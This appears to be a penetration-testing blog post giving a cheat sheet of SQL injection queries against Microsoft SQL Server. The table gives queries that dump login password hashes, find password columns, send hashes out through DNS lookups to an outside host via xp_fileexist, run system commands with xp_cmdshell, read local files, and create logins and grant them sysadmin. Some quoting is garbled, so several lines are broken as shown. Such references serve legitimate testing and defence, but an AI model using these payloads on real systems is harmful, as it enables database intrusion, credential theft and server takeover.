MSSQL Injection Cheat Sheet
Some useful syntax reminders for SQL Injection into MSSQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version |
| Comments | SELECT 1 — comment SELECT /*comment*/1 |
| Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes | SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 |
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
| List Privileges | Impossible? |
| List DBA Accounts | TODO SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. |
| Current Database | SELECT DB_NAME() |
| List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … |
| List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| List Tables | SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| Find Tables From Column Name | – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’ |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
| Bitwise AND | SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 |
| ASCII Value -> Char | SELECT char(0×41) — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
| Casting | SELECT CAST(’1′ as int); SELECT CAST(1 as char) |
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
| Time Delay | WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
| Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000
declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005 – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. |
| Command Execution | EXEC xp_cmdshell ‘net user’; — priv
On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: |
| Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST_NAME() |
| Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv |
| Drop Users | EXEC sp_droplogin ‘user’; — priv |
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
| Location of DB files | TODO |
| Default/System Databases | northwind model msdb pubs tempdb |
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